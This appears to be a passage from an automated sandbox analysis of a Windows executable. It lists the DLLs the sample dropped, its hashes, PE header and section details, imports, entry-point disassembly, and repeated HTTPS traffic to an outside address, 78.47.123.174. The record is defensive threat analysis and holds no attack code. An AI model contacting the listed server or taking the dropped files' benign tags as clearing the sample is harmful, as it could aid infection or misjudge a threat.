SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.568806613547299
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	364'032 bytes
MD5:	f4fb6b518e2e550467f533124e1f80f4
SHA1:	964e735dd9410e07536e46b9f50c65fed148bcd7
SHA256:	0a456f0fee171826bb44c9c2e1d5e7b95c0862b67d9dd75a843dec035224bb74
SHA512:	4a02aa8aa87dab5d6aa14da695f71aa424b95bc4437c3b8353ac355e0a73f68ded2df49e6e2ca8af6e9389745861a78a7343ab4838a6584a1108e18525d5984a
SSDEEP:	6144:+vFPlgMF6peZUqbWFROY1NiXKvtuTx5qPmOGDe+VNfyhr24L25rQXxSXQMR23M:+9PlgMFgxy2u15emOqVNL4LQriM
TLSH:	A174D051B4C0C032DA73153649E0CEB5AF3DFD704E629E5B77950FBE4F342829A21A6A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......jL$..-J,.-J,.-J,._I-"-J,._O-.-J,._N-;-J,._K---J,.-K,u-J,..N-<-J,..I-:-J,..O-`-J,..O-/-J,..H-/-J,Rich.-J,........PE..L...U.Nf...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40490e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x664E1555 [Wed May 22 15:55:01 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	3253afb4f76368b87a5ee602b0490ec8

Entrypoint Preview

Instruction
call 00007F6A954BA9DFh
jmp 00007F6A954BA279h
push ebp
mov ebp, esp
jmp 00007F6A954BA40Fh
push dword ptr [ebp+08h]
call 00007F6A954C3735h
pop ecx
test eax, eax
je 00007F6A954BA411h
push dword ptr [ebp+08h]
call 00007F6A954C03FEh
pop ecx
test eax, eax
je 00007F6A954BA3E8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F6A954B78A4h
jmp 00007F6A954BACD2h
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F6A954BACE4h
pop ecx
pop ebp
ret
cmp ecx, dword ptr [00459500h]
jne 00007F6A954BA403h
ret
jmp 00007F6A954BAD00h
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F6A954BA3D9h
jmp 00007F6A954BA3E2h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00459500h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [00459500h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2599c	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c000	0x1950	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x23fc8	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x23f08	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1d000	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1a59f	0x1a600	7a4be43e7798d718a3189e9c95a8873f	False	0.5830772363744076	data	6.599097536818977	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.bSs	0x1c000	0x315	0x400	8236d06e475da8010c7ad96cd639ab5e	False	0.6611328125	data	5.471102955664526	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1d000	0x90d0	0x9200	5b6271d1f096eb8bfc69e2bbcdc71c35	False	0.3901434075342466	data	4.6943578990279455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x27000	0x34214	0x33400	eab33100d57aed41cd285a436b9b90e2	False	0.9837842987804878	data	7.983787706094081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x5c000	0x1950	0x1a00	61174616804a3bfe9b5e0cb126d91722	False	0.7570612980769231	data	6.485348470519483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

CloseHandle, WaitForSingleObjectEx, CreateThread, VirtualAlloc, GetModuleHandleA, GetProcAddress, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, MultiByteToWideChar, WideCharToMultiByte, LCMapStringEx, GetStringTypeW, GetCPInfo, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, GetCurrentProcess, TerminateProcess, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetProcessHeap, HeapSize, WriteConsoleW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 18:27:54.694946051 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:54.694998980 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:54.695110083 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:54.701569080 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:54.701587915 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:55.345967054 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:55.346116066 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:55.548183918 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:55.548218966 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:55.549050093 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:55.549103975 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:55.553260088 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:55.594502926 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.115446091 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.115473986 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.115492105 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.115509987 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.115535975 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.115557909 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.115580082 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.172398090 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.172444105 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.172466993 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.172475100 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.172514915 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.172529936 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.189503908 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.189554930 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.189609051 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.189613104 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.189654112 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.190202951 CEST	49699	443	192.168.2.6	23.197.127.21
May 22, 2024 18:27:56.190217018 CEST	443	49699	23.197.127.21	192.168.2.6
May 22, 2024 18:27:56.202091932 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:56.202132940 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:56.202207088 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:56.202529907 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:56.202547073 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.316816092 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.316941023 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.322082996 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.322105885 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.322566032 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.322640896 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.323054075 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.370501041 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.781857967 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.781940937 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.781970024 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.782016039 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.784400940 CEST	49700	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.784423113 CEST	443	49700	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.786659002 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.786684036 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:57.786750078 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.786955118 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:57.786966085 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:58.559346914 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:58.559614897 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:58.560288906 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:58.560312986 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:58.562026024 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:58.562037945 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.272097111 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.272185087 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.272208929 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.272231102 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.272387028 CEST	49701	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.272401094 CEST	443	49701	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.274147987 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.274164915 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.274245024 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.274470091 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.274477959 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.986406088 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.986516953 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.986934900 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.986959934 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:27:59.988744974 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:27:59.988756895 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:28:00.673377037 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:28:00.673396111 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:28:00.673455000 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:28:00.673691988 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:00.673970938 CEST	49702	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:00.673986912 CEST	443	49702	78.47.123.174	192.168.2.6
May 22, 2024 18:28:00.675507069 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:00.675523996 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:00.675609112 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:00.675803900 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:00.675815105 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:01.413003922 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:01.413156033 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:01.413958073 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:01.413990021 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:01.415627003 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:01.415648937 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.130875111 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.130934000 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.130956888 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.130980015 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.130997896 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.131031036 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.131037951 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.131094933 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.131098032 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.131154060 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.131542921 CEST	49703	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.131555080 CEST	443	49703	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.133341074 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.133392096 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.133462906 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.133729935 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.133744955 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.929434061 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.929619074 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.930438995 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.930447102 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:02.932255983 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:02.932262897 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:03.635481119 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:03.635591030 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.635608912 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:03.635644913 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.635663986 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:03.635704994 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.635920048 CEST	49704	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.635935068 CEST	443	49704	78.47.123.174	192.168.2.6
May 22, 2024 18:28:03.715635061 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.715668917 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:03.715755939 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.715960979 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:03.715970993 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:04.575936079 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:04.576050043 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.576909065 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.576916933 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:04.578974962 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.578994989 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:04.579020023 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.579030991 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:04.704720020 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.704762936 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:04.704823017 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.705094099 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:04.705105066 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.270811081 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.270875931 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.270899057 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.270916939 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.270948887 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.270977020 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.271953106 CEST	49705	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.271967888 CEST	443	49705	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.435599089 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.435820103 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.436650991 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.436661005 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.438343048 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.438349962 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.970033884 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.970068932 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.970089912 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.970299006 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.970326900 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.970388889 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.998184919 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.998241901 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.998382092 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.998382092 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:05.998395920 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:05.998431921 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.064503908 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.064610958 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.064785957 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.064785957 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.064807892 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.064851046 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.461111069 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.461147070 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.461255074 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.461286068 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.461329937 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.477997065 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.478044033 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.478102922 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.478110075 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.478142977 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.478161097 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.501458883 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.501504898 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.501560926 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.501569986 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.501595974 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.501616955 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.511584044 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.511635065 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.511667013 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.511673927 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.511692047 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.511708975 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.520548105 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.520592928 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.520637035 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.520643950 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.520656109 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.520673037 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.530443907 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.530464888 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.530539989 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.530546904 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.530555010 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.530575037 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.536717892 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.536747932 CEST	443	49706	78.47.123.174	192.168.2.6
May 22, 2024 18:28:06.536792040 CEST	49706	443	192.168.2.6	78.47.123.174
May 22, 2024 18:28:06.536799908 CEST	443	49706	78.47.123.174	192.168.2.6
